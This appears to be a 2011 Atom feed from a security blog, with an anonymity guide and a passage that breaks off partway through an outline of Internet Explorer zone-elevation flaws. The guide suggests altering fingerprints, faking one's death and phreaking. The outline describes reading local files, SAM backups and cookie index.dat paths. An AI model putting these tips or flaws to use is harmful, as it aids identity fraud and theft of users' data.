<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4484015730406869163</id><updated>2011-11-27T18:52:38.889-04:30</updated><category term='world of science'/><category term='scada security compliance'/><category term='p0f'/><category term='tor threats'/><category term='SAP vulnerabilities'/><category term='static analysis'/><category term='gsm security'/><category term='log management'/><category term='log analysis'/><category term='TCP Urgent Pointer'/><category term='Ring2'/><category term='email-borne threats'/><category term='smashing the stack'/><category term='bgp routing hack'/><category term='ios shellcode'/><category term='surveillance'/><category term='non-unicode attacks'/><category term='UTF-8 security'/><category term='firewall and ips bypass'/><category term='tor mitm attack'/><category term='CyberCrime'/><category term='pdf exploit'/><category term='cwsandbox'/><category term='scada security tools'/><category term='hijack youtube traffic'/><category term='CORE-2008-01035'/><category term='Skeptic'/><category term='hermit'/><category term='static code analysis'/><category term='office shellcode'/><category term='Plaintext Storage in Memory'/><category term='Malware Analysis'/><category term='enterprise security'/><category term='email attacks'/><category term='hacking vmware'/><category term='white collar'/><category term='malware legal issues'/><category term='SAP Penetration Attacks'/><category term='smb evasion'/><category term='oracle security'/><category term='pharming'/><category term='conficker samples'/><category term='youtube bgp hack'/><category term='pin entry device'/><category term='Malware Tools'/><category term='sigtran hacking'/><category term='scan cisco'/><category term='Injection Attack'/><category term='php exploit'/><category term='ids evasion'/><category term='zdi initiatives'/><category term='encrypted messages'/><category term='hooking techniques'/><category term='scientific visualization'/><category term='anonymous'/><category term='application security testing'/><category term='tor vulnerabilities'/><category term='remote chat shellcode hack'/><category term='sctp stack fingerprinting'/><category term='Software as a Service'/><category term='Cyber Espionage'/><category term='Investigator Toolkit'/><category term='pay phones'/><category term='Botnets'/><category term='Hackers news'/><category term='cloud taxonomy'/><category term='gsm mobile hacking'/><category term='ABAP Executable Manipulation'/><category term='nmap scan'/><category term='Anti-virus tests'/><category term='false alarm'/><category term='internet explorer exploit'/><category term='IOS next generation'/><category term='mobile evasdropping'/><category term='malware detection vs decision'/><category term='SAP platform'/><category term='crack encrypted filesystem'/><category term='RCE'/><category term='Memory Imaging'/><category term='SharePoint Regex'/><category term='TNS listenser security'/><category term='virtualization'/><category term='ACSServer.exe'/><category term='malware threats'/><category term='X-Ways MSN'/><category term='cisco tcl backdoor'/><category term='ssl attack'/><category term='ARM'/><category term='reverse engineering'/><category term='vmware mitigation'/><category term='application vulnerabilities'/><category term='inline hooks'/><category term='SAP SQL injection'/><category term='disposable email'/><category term='conficker variant'/><category term='carderplant'/><category term='CyberTerror'/><category term='it'/><category term='Dangerous virus'/><category term='hacking SAP'/><category term='AV comparison'/><category term='social network malware'/><category term='log centralization'/><category term='gsm decoder'/><category term='cryptors'/><category term='vulnerable internet'/><category term='k-ary malware'/><category term='Bredolab'/><category term='cisco ios rootkits'/><category term='SIM'/><category term='SoftICE (Reversing)'/><category term='log visualization'/><category term='PEiD signatures'/><category term='PDA Forensics'/><category term='Massive defacements'/><category term='actionscript testing'/><category term='PED tampering'/><category term='buffer overflows'/><category term='vulnerability research'/><category term='Network Auditing Utilities'/><category term='free wifi'/><category term='api tracing'/><category term='flashfire framework'/><category term='incident reporting'/><category term='public key cracking'/><category term='bgp mitm'/><category term='tor attack'/><category term='conficker algorithm'/><category term='Firefox Auditing Tools'/><category term='UTF-7 security'/><category term='bgp attacks'/><category term='Penetration Testing'/><category term='disassembler'/><category term='smartcard side channel'/><category term='penetration smartgrid network'/><category term='vmware exploit'/><category term='law in cyberspace'/><category term='mobile phone sniffing'/><category term='operation firewall'/><category term='Aurora'/><category term='phishing'/><category term='mass-email attacks'/><category term='MSN hack'/><category term='ABAP Rootkits'/><category term='stealing vmware guest'/><category term='rogue av'/><category term='IE exploitation'/><category term='virus'/><category term='internet downtime'/><category term='unicode security'/><category term='wireless recon'/><category term='idefense vcp'/><category term='scada network'/><category term='cloud spam'/><category term='DEPlib automatic instruction'/><category term='IE zone elevation'/><category term='AV detection'/><category term='risk management'/><category term='cellphone hack'/><category term='conficker c'/><category term='gsm cracking'/><category term='tor anonymity'/><category term='oracle security assessment'/><category term='XSS Vulnerability'/><category term='CyberWar'/><category term='crack crypto system'/><category term='SAP threats'/><category term='shadowcrew'/><category term='encryption'/><category term='Davix log management tools'/><category term='Hacking Cloud'/><category term='office malware analysis'/><category term='Polymorphic Viruses'/><category term='crack sigtran'/><category term='wepawet'/><category term='whole science'/><category term='AVC voting machine'/><category term='malware distribution channel'/><category term='espionage office documents'/><category term='File and Disk Analysis Tools'/><category term='Phonesnoop'/><category term='DIY toolkits'/><category term='hack wss'/><category term='atm hack'/><category term='paid exploit'/><category term='SharePoint Nmap'/><category term='multi-layered threats'/><category term='malicious documents'/><category term='api hooking'/><category term='FTK'/><category term='ICQ hack'/><category term='javascript decoder'/><category term='debugging techniques'/><category term='darkmarket'/><category term='forensics investigation'/><category term='SharePoint ISAPI Registry'/><category term='delitos informaticos'/><category term='emulation'/><category term='oracle penetration testing'/><category term='wabisabilabi'/><category term='facebook accounts'/><category term='malware attack lifecycle'/><category term='SharePoint Google'/><category term='wireless visualization'/><category term='visualization process'/><category term='ssdt hooks'/><category term='malicious PDF'/><category term='BINTEXT'/><category term='Zero Wine malware analysis'/><category term='hacking smartgrid'/><category term='ILook Investigator'/><category term='Ettercap'/><category term='oracle testing methodology'/><category term='IP fragmentation'/><category term='Heuristic-based'/><category term='visualize airwaves'/><category term='Code Signing'/><category term='offvis'/><category term='stock market hackers'/><category term='problems in tor network'/><category term='SAP RFC'/><category term='virtualization hack'/><category term='rop'/><category term='secure cryptographic hash functions'/><category term='sandbox conficker worm'/><category term='cloud assessment'/><category term='kernel-level monitoring'/><category term='Android attack'/><category term='Cyberwars'/><category term='Fuzzing Tools'/><category term='cloud malicious url'/><category term='forensic tools'/><category term='FireCAT'/><category term='sockstress vulnerability'/><category term='ASLR'/><category term='pdf scanner'/><category term='russian cybercrime'/><category term='social engineering'/><category term='cellphone network breach'/><category term='nmap'/><category term='OSSTMM'/><category term='netstumbler'/><category term='ipv6 vulnerabilities'/><category term='hackers rule the economy'/><category term='flash exploit'/><category term='e-commerce website'/><category term='exploit market'/><category term='information management'/><category term='malicious document structure'/><category term='MXI Stealth USB'/><category term='fuzzing techniques'/><category term='dagger'/><category term='pakistan telecom youtube'/><category term='anti-malware threats'/><category term='ROP functions'/><category term='anti-virtualization'/><category term='secure smartgrid components'/><category term='operation cardkeeper'/><category term='cisco backdoor'/><category term='modbus security'/><category term='SAP architecture'/><category term='cloud rbl'/><category term='side channel attack'/><category term='metadata analyzer'/><category term='cyberwarfare'/><category term='stock market virus'/><category term='SAP exploit'/><category term='conficker analysis'/><category term='ios vulnerabilities'/><category term='Financial Web Applications'/><category term='intelligence monitoring'/><category term='secure https'/><category term='digial reputation'/><category term='XSS Protection'/><category term='actionscript hack'/><category term='Information disclosure'/><category term='GPS tracking'/><category term='carding'/><category term='credit card theft'/><category term='zero day market'/><category term='intrusion prevention system bypass'/><category term='vulnerability analysis'/><category term='Web based malware detection'/><category term='SinFP'/><category term='ips evasion techniques'/><category term='encrypted PIN'/><category term='cyber weapon'/><category term='AV dead'/><category term='kido worm'/><category term='protectors'/><category term='binary diff'/><category term='aircrack-ng suite'/><category term='reconnaissance tools'/><category term='carders'/><category term='cisco router compromise'/><category term='Infrastructure as a service'/><category term='sparse'/><category term='debuggers'/><category term='Anti-phishing'/><category term='anti-virus ineffectiveness'/><category term='SAP risk'/><category term='control social network'/><category term='Xprobe2'/><category term='Sensitive user data expose'/><category term='CORE-2009-06256'/><category term='FlexiSpy'/><category term='leyes'/><category term='XSS Threat'/><category term='AV detection rate'/><category term='crack wep'/><category term='Electronic terrorism'/><category term='tor security'/><category term='Etisalat mobile hack'/><category term='cisco nmap'/><category term='cloud IDS'/><category term='exploit ipv6'/><category term='security in smartgrid'/><category term='Exploiting RIA'/><category term='non-executable memory'/><category term='cyber attacks'/><category term='verisign evssl'/><category term='exploit hardened webserver'/><category term='trojan'/><category term='paid vulnerability'/><category term='VirusScan'/><category term='Watcher security tool'/><category term='api thief'/><category term='Exploitation'/><category term='scan ipv6 network'/><category term='return-oriented programming'/><category term='blackhat mitm ssl'/><category term='crack application'/><category term='idefense jsunpack'/><category term='activex decoder'/><category term='dns'/><category term='scada security'/><category term='exploit hardened php server'/><category term='internet explorer vulnerabilities'/><category term='counterfeiting payment systems'/><category term='SWF security assessment'/><category term='vmware root'/><category term='ipv6 attack toolkit'/><category term='vmware vulnerability'/><category term='malware obfuscation techniques'/><category term='0day php vulnerability'/><category term='session hijacking tor'/><category term='javascript unpacker'/><category term='chain of custody'/><category term='ipv6 penetration'/><category term='hack rich internet applications'/><category term='PaaS'/><category term='prevent bgp attack'/><category term='conceal identity'/><category term='dangerous tcp vulnerability'/><category term='Diebold ATM compromise'/><category term='side channel threat countermeasures'/><category term='science map'/><category term='xbox 360 backdoor'/><category term='Vulnerability Assessment'/><category term='card fraud'/><category term='davix'/><category term='excel'/><category term='conficker worm'/><category term='hack moss'/><category term='anti-censorship'/><category term='PED'/><category term='facebook hack'/><category term='spyware'/><category term='malware affiliate'/><category term='ICMP replies'/><category term='IM vulnerability'/><category term='XSS Attacks'/><category term='downup conficker'/><category term='SIM Forensics'/><category term='eeprom password'/><category term='attack voip'/><category term='scan ss7 networks'/><category term='anti-debugging techniques'/><category term='MIME type detection'/><category term='monitor social network'/><category term='Platform as a Service'/><category term='blended threats'/><category term='ips bypass'/><category term='php vulnerabilities'/><category term='NYSE attack'/><category term='smartcard security'/><category term='Cloud Computing'/><category term='counterfeited passport'/><category term='ios threats'/><category term='instant messaging hack'/><category term='reversing malware'/><category term='crack wpa'/><category term='escalating privileges'/><category term='embedded system side channel attack'/><category term='anti-forensic techniques'/><category term='bypassing the IPS'/><category term='Mobile Spy'/><category term='smartgrid technology'/><category term='Zone-h statistics evaluation'/><category term='SMB Session Mixing'/><category term='defeat os fingerprinting'/><category term='SysInternals'/><category term='Encoding attacks'/><category term='process monitoring'/><category term='0day attacks'/><category term='scada penetration testing'/><category term='information security visualization'/><category term='pirate bay case'/><category term='Privilege Escalation'/><category term='ISSAF'/><category term='blue box'/><category term='social media privacy'/><category term='Metadata Extraction'/><category term='Cloud security issues'/><category term='419 scam'/><category term='IPS shortcomings'/><category term='SAP systems'/><category term='alternate identity'/><category term='corporate threat'/><category term='sigtran'/><category term='shellcode detection'/><category term='flash assessment'/><category term='IE attack'/><category term='frageroute'/><category term='word'/><category term='sctp scanning'/><category term='0-day research'/><category term='Digital Forensics'/><category term='data theft'/><category term='metasploit oracle'/><category term='TCP headers'/><category term='cisco'/><category term='cloud hack'/><category term='office malscanner'/><category term='hack sharepoint'/><category term='ISN profile'/><category term='hack telecom backbones'/><category term='map of science'/><category term='Webserver misconfiguration'/><category term='IDN spoofing'/><category term='power em traces'/><category term='twitter accounts'/><category term='information stealing malware'/><category term='vmware security'/><category term='ret2lib exploit'/><category term='IM hack'/><category term='kismet'/><category term='scada security assessment'/><category term='Asda hack'/><category term='Signature-based'/><category term='smartcard protocol'/><category term='smartgrid'/><category term='Automated Dynamic Testing'/><category term='PEiD Tool'/><category term='cloak'/><category term='tcp fragmentation'/><category term='financial firms recession'/><category term='military spy'/><category term='SAP Cross Site Scripting'/><category term='scada hacks'/><category term='Yahoo hack'/><category term='electronic disobedience'/><category term='crimeware'/><category term='Proxy Debuggers'/><category term='EnCase'/><category term='mobile backdoor'/><category term='content filtering'/><category term='sockstress tool'/><category term='snosoft'/><category term='smiley hack'/><category term='Phone Number Farming'/><category term='adware'/><category term='vb macros'/><category term='ios ips'/><category term='MSN Messenger Password'/><category term='malicious office documents'/><category term='dynamic analysis'/><category term='Defacement'/><category term='fuzz testing'/><category term='dns poisoning'/><category term='ThreatExpert'/><category term='malware static analysis'/><category term='consumer security'/><category term='cloud malware'/><category term='Javascript Crafted URL'/><category term='credit crunch'/><category term='SAP security'/><category term='E-capsule PrivateSafe'/><category term='office macro security'/><category term='Underground economy'/><category term='ss7 hacking'/><category term='Blackberry Security'/><category term='Mobile Spyware'/><category term='sandbox'/><category term='timing analysis'/><category term='Wal-mart hack'/><category term='formal verification'/><category term='cisco ios exploit'/><category term='SaaS security'/><category term='officecat'/><category term='defeat os detection'/><category term='design flaws'/><category term='downloaders'/><category term='hack cryptographic technology'/><category term='SEIM'/><category term='SIP hack'/><category term='cloud av scanning'/><category term='phreaking'/><category term='timeouts'/><category term='business intelligence'/><category term='malware lab'/><category term='SAP infrastructure'/><category term='data stealing malware'/><category term='SaaS'/><category term='SEM'/><category term='SAP Penetration Testing'/><category term='EV SSL'/><category term='Web Relay or Proxy Auditors'/><category term='automated vulnerability testing'/><category term='virtualization security'/><category term='MSRPC Alter Context'/><category term='best anti-virus solution'/><category term='malware inspection techniques'/><category term='officemalscanner'/><category term='visual spoofing'/><category term='Initial steps in forensics'/><category term='threats in smartgrid technology'/><category term='powerpoint'/><category term='0-day market'/><category term='tcp vulnerability'/><category term='IpMorph'/><category term='digital domination'/><category term='conficker removal'/><category term='online bank fraud'/><category term='http botnets'/><category term='cisco exploits'/><category term='cisco ios ips'/><category term='intrusion detection limitations'/><category term='cyber criminals'/><category term='trojan infected document'/><category term='SSL vs EV SSL'/><category term='CORE-2008-0826'/><category term='attack vmware'/><category term='bgp protocol vulnerabilities'/><category term='hack cisco'/><category term='social network threats'/><category term='Automated Static Testing'/><category term='IaaS'/><category term='Cutwail botnet'/><category term='bypass ids/ips'/><category term='aol phishing'/><category term='visualization effectiveness'/><category term='security breaches'/><category term='eavesdropping tor traffic'/><category term='assess oracle platform'/><category term='paid poc'/><category term='system monitoring'/><category term='Unibomber XSS tool'/><category term='kill internet'/><category term='RFID'/><category term='nmap oracle'/><category term='chip and pin security'/><category term='Automated Exploitation'/><category term='cloud IPS'/><category term='office malware'/><category term='packers'/><category term='Cloud Security'/><title type='text'>Ethical-Hacker.net Blog - A Security Driven Knowledge</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ethicalhackernet.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>66</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8424432882653873129</id><published>2011-07-28T19:59:00.000-04:30</published><updated>2011-07-28T19:59:54.594-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='anonymous'/><category scheme='http://www.blogger.com/atom/ns#' term='GPS tracking'/><category scheme='http://www.blogger.com/atom/ns#' term='dagger'/><category scheme='http://www.blogger.com/atom/ns#' term='disposable email'/><category scheme='http://www.blogger.com/atom/ns#' term='hermit'/><category scheme='http://www.blogger.com/atom/ns#' term='cloak'/><category scheme='http://www.blogger.com/atom/ns#' term='free wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='conceal identity'/><category scheme='http://www.blogger.com/atom/ns#' term='surveillance'/><category scheme='http://www.blogger.com/atom/ns#' term='alternate identity'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='social media privacy'/><category scheme='http://www.blogger.com/atom/ns#' term='pay phones'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='RFID'/><title type='text'>True Identity vs Anonymous: Evaluating real-life examples</title><content type='html'>The privacy and dignity of our citizens are being whittled away by sometimes imperceptible steps. Taken individually, each step may be of little consequence. But when viewed as a whole, there begins to emerge a society quite unlike any we have seen, "&lt;i&gt;a society in which government may intrude into the secret regions of a person's life&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Why be Anonymous?&lt;/b&gt;&lt;br /&gt;"&lt;i&gt;The right to be let alone is indeed the beginning of all freedom&lt;/i&gt;".&lt;br /&gt;1.Everyone has the right to privacy.&lt;br /&gt;2.Anonymous NOT EQUALS Law-breaker.&lt;br /&gt;3.Requires intellect, desire, diligence, and dedication.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cloak&lt;/b&gt;&lt;br /&gt;-Minimally anonymous&lt;br /&gt;-The FBI will find you&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Dagger&lt;/b&gt;&lt;br /&gt;-Moderately anonymous&lt;br /&gt;-More difficult&lt;br /&gt;-Potentially illegal&lt;br /&gt;-The FBI can find you&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hermit&lt;/b&gt;&lt;br /&gt;-Off the grid&lt;br /&gt;-Completely invisible&lt;br /&gt;-Up to you who finds you&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Awareness&lt;/b&gt;&lt;br /&gt;-Must develop new habits, gets easier over time&lt;br /&gt;-Be discreet when talking to others&lt;br /&gt;-Say as little as possible&lt;br /&gt;-Identity awareness&lt;br /&gt;-Use social engineering&lt;br /&gt;-Look Around!&lt;br /&gt;-Situational awareness&lt;br /&gt;-Look for and avoid surveillance&lt;br /&gt;-Blend in, do not stand out&lt;br /&gt;-Ongoing process&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Getting Started In Real Life&lt;/b&gt;&lt;br /&gt;-Cancel All Subscriptions&lt;br /&gt;-Forward Mail to a Secondary Address (Third-Party, Scanned Mail Service)&lt;br /&gt;-Expunge legal and credit histories&lt;br /&gt;-Place locks on credit files&lt;br /&gt;-Shred everything&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Getting Started Online&lt;/b&gt;&lt;br /&gt;-Eliminate online profiles (Friendster, MySpace, Facebook, etc)&lt;br /&gt;-Clean Up Search History&lt;br /&gt;-Nothing in the Cloud (Host Your Own, Encrypt Everything)&lt;br /&gt;-Everything in the Cloud (Host Nothing, Encrypt Everything)&lt;br /&gt;-Format and Reinstall&lt;br /&gt;-Create All New Accounts&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Becoming Anonymous&lt;/b&gt;&lt;br /&gt;-Change your name&lt;br /&gt;-Alternative ID&lt;br /&gt;-Alter fingerprints&lt;br /&gt;-Sell registered properties&lt;br /&gt;-Terminate all contracts&lt;br /&gt;-Disposable email addresses (Dodgit, Guerilla Mail, Gmail, Hotmail, Yahoo)&lt;br /&gt;-Mail box rentals (Mailboxes, Scanned Mail Service)&lt;br /&gt;-Fake your own death&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-uqfvyjonNx0/TjH9Z_DK4wI/AAAAAAAAASU/0MK5chXuwfc/s1600/10-Jul-29-11-pic1.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="204" src="http://4.bp.blogspot.com/-uqfvyjonNx0/TjH9Z_DK4wI/AAAAAAAAASU/0MK5chXuwfc/s320/10-Jul-29-11-pic1.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Shelter&lt;/b&gt;&lt;br /&gt;-Single Room Occupancy (Cash rent, Long-term sublet, Shared utilities)&lt;br /&gt;-Unregistered RV&lt;br /&gt;-Commune (Kibbutz, Nudist Colony, Don’t Drink the Kool-Aid)&lt;br /&gt;-Travel Continuously (Couch Surfing, Hostels, Shelters, Public Parks, Squatting)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Making Money&lt;/b&gt;&lt;br /&gt;-Jobs that pay cash&lt;br /&gt;-The world's oldest profession (e.g. Porn)&lt;br /&gt;-Day labor&lt;br /&gt;-Service industry&lt;br /&gt;-Graphics and web design&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Using Money&lt;/b&gt;&lt;br /&gt;-Use Cash&lt;br /&gt;-Classifieds, Cash Auctions&lt;br /&gt;-Gift Cards, use as CCs&lt;br /&gt;-Check Cashing Services&lt;br /&gt;-Digital Money (E-Gold, Paypal Corporate, Internet Bartering)&lt;br /&gt;-Money Orders&lt;br /&gt;-Offshore Accounts&lt;br /&gt;-Sugar Daddy&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Transportation&lt;/b&gt;&lt;br /&gt;-Public (Buses, Trains)&lt;br /&gt;-Metro&lt;br /&gt;-Cabs &amp;amp; Gypsy Cabs&lt;br /&gt;-Greyhound&lt;br /&gt;-Carpool / Rideshare&lt;br /&gt;-Vehicles w/o Registration (Bicycles, 50cc Scooters)&lt;br /&gt;-Travel in Disguise (Wear hats and glasses, Pre-determine camera locations)&lt;br /&gt;-Avoid frequent mass-transit&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tracking&lt;/b&gt;&lt;br /&gt;-Disable GPS devices&lt;br /&gt;-Disable bluetooth&lt;br /&gt;-Turn cell phone off when not in use&lt;br /&gt;-RFID tags (RFID Zapper, Use a shielded wallet)&lt;br /&gt;-Harden computers and smart phones&lt;br /&gt;-Tinfoil hat&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Communications&lt;/b&gt;&lt;br /&gt;-Telecom (Pay phones, burners, Prepaid LD)&lt;br /&gt;-Internet (Use email lightly, Internet Relay Chat, Usenet / classifieds)&lt;br /&gt;-Encryption (Off the Record, Steganography)&lt;br /&gt;-Phreaking&lt;br /&gt;-Voice over IP (Hosted VoIP, BYO VoIP)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Online&lt;/b&gt;&lt;br /&gt;-Public kiosks, local wifi&lt;br /&gt;-Prepaid SIMs for data&lt;br /&gt;-Use a Live CD&lt;br /&gt;-Use tor, anonymous proxies&lt;br /&gt;-Enable safe browsing&lt;br /&gt;-Anonymous searching (startpage, googlesharing, customize google)&lt;br /&gt;-Anonymous remailers&lt;br /&gt;-Netbook + Truecrypt encrypted SSD, USB&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Social Interaction&lt;/b&gt;&lt;br /&gt;-Use disguises in public&lt;br /&gt;-No long term communities&lt;br /&gt;-Use a proxy&lt;br /&gt;-Avoid people&lt;br /&gt;-Avoid all social networking&lt;br /&gt;-Avoid all publicity&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The Rules&lt;/b&gt;&lt;br /&gt;-Do not be your identity&lt;br /&gt;-Get rid of your paper trail&lt;br /&gt;-Use cash&lt;br /&gt;-Constantly improve your situational awareness&lt;br /&gt;-Blend in&lt;br /&gt;-Encrypt everything&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8424432882653873129?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8424432882653873129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8424432882653873129'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2011/07/true-identity-vs-anonymous-evaluating.html' title='True Identity vs Anonymous: Evaluating real-life examples'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-uqfvyjonNx0/TjH9Z_DK4wI/AAAAAAAAASU/0MK5chXuwfc/s72-c/10-Jul-29-11-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7107492492142141728</id><published>2011-07-06T19:39:00.000-04:30</published><updated>2011-07-06T19:39:52.174-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet explorer exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='CORE-2008-01035'/><category scheme='http://www.blogger.com/atom/ns#' term='CORE-2008-0826'/><category scheme='http://www.blogger.com/atom/ns#' term='MIME type detection'/><category scheme='http://www.blogger.com/atom/ns#' term='internet explorer vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='IE zone elevation'/><category scheme='http://www.blogger.com/atom/ns#' term='IE attack'/><category scheme='http://www.blogger.com/atom/ns#' term='IE exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='CORE-2009-06256'/><title type='text'>Internet Explorer: Your personal computer is public property</title><content type='html'>A successful compromise will result in an attacker being able to blindly read every single file in the local drive.&lt;br /&gt;–Either text and binary files (thanks MSXML2.DOMDocument.3.0!)&lt;br /&gt;–Cross-domain information (Navigation history, Cookies)&lt;br /&gt;–SAM backup files&lt;br /&gt;–Recently opened files&lt;br /&gt;–Personal pictures&lt;br /&gt;–Other files, depending on the computer compromised (wwwroot in IIS, Configuration files for other applications)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Internet Explorer Internals&lt;/b&gt;&lt;br /&gt;-Every browser has its own idiosyncrasies&lt;br /&gt;-For the purposes of this presentation, it is convenient to review some design features of Internet Explorer&lt;br /&gt;1.Security Zones&lt;br /&gt;2.Zone Elevation&lt;br /&gt;3.MIME type detection&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Security Zones&lt;/b&gt;&lt;br /&gt;-Enable administrators to divide URL namespaces according to their respective levels of trust and to manage each level with an appropriate URL policy Different treatment for web content depending on its source&lt;br /&gt;-Five different sets of privileges (zones)&lt;br /&gt;&lt;i&gt;1.Restricted Sites&lt;br /&gt;2.Internet&lt;br /&gt;3.Trusted Sites&lt;br /&gt;4.Local Intranet&lt;br /&gt;5.Local Machine&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Zone Elevation&lt;/b&gt;&lt;br /&gt;-It occurs when a Web page in a given security zone loads a page from a less restrictive zone in a frame or a new window&lt;br /&gt;-Internet Explorer behaves different based on which is the less restrictive zone up to which is trying to elevate&lt;br /&gt;&lt;i&gt;1.to the Local Machine zone is blocked&lt;br /&gt;2.to the Intranet or Trusted Sites zones prompts for a confirmation&lt;br /&gt;3.from the Restricted Sites zone to the Internet zone is allowed&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MIME type detection&lt;/b&gt;&lt;br /&gt;-Tests URL monikers through the FindMimeFromData method&lt;br /&gt;-Determining the MIME type proceeds as follows:&lt;br /&gt;&lt;i&gt;1.If the suggested MIME type is unknown, FindMimeFromData immediately returns this MIME type as the final determination&lt;br /&gt;2.If the server-provided MIME type is either known or ambiguous, the buffer is scanned in an attempt to verify or obtain a MIME type&lt;br /&gt;3.If no positive match is obtained, and if the server-provided MIME type is known&lt;br /&gt;4.If no conflict exists, the server-provided MIME type is returned. If conflict exist, the file extension is tried.&lt;br /&gt;5.Otherwise defaults to text/plain or application/octet-stream&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features (vulnerabilities) enumeration&lt;/b&gt;&lt;br /&gt;-Hiding the key under the doormat&lt;br /&gt;-A chip off the old block&lt;br /&gt;-Two zones, the same place&lt;br /&gt;-How to put HTML/script code in remote computers&lt;br /&gt;-Everything that glitters is not gold&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hiding the key under the doormat&lt;/b&gt;&lt;br /&gt;-Internet Explorer cookies and history files are stored in different files and folders under %USERPROFILE%&lt;br /&gt;-As a security measure, these files are stored inside randomly named folders with random file names&lt;br /&gt;-These random names and locations are logged inside different mapping files named index.dat&lt;br /&gt;&lt;blockquote&gt;%USERPROFILE%\Local settings\History\History.IE5\index.dat&lt;br /&gt;%USERPROFILE%\Local settings\IECompatCache\index.dat&lt;br /&gt;%USERPROFILE%\Cookies\index.dat&lt;/blockquote&gt;-These files are not entirely text formatted&lt;br /&gt;-As these files work as maps to other files, access to these files would reveal the actual locations of mapped files and folders&lt;br /&gt;&lt;br /&gt;&lt;span id="goog_71663259"&gt;&lt;/span&gt;&lt;span id="goog_71663260"&gt;&lt;/span&gt;&lt;a href="http://3.bp.blogspot.com/-7qxw3wo-asM/ThTwPmNnGtI/AAAAAAAAARs/lDsOBpVZ4Do/s1600/09-Jul-07-11-pic1.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="http://3.bp.blogspot.com/-7qxw3wo-asM/ThTwPmNnGtI/AAAAAAAAARs/lDsOBpVZ4Do/s400/09-Jul-07-11-pic1.jpg" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A chip off the old block&lt;/b&gt;&lt;br /&gt;-Internet Explorer resembles Windows Explorer in many aspects (both of them implement the Trident layout engine and both of them support UNC paths for SMB access)&lt;br /&gt;-This way, Internet Explorer allows to access special files and folders, same as Windows Explorer does&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-uKU85Hr0v8c/ThTw3QfsLHI/AAAAAAAAARw/8mQOdm35fA0/s1600/09-Jul-07-11-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 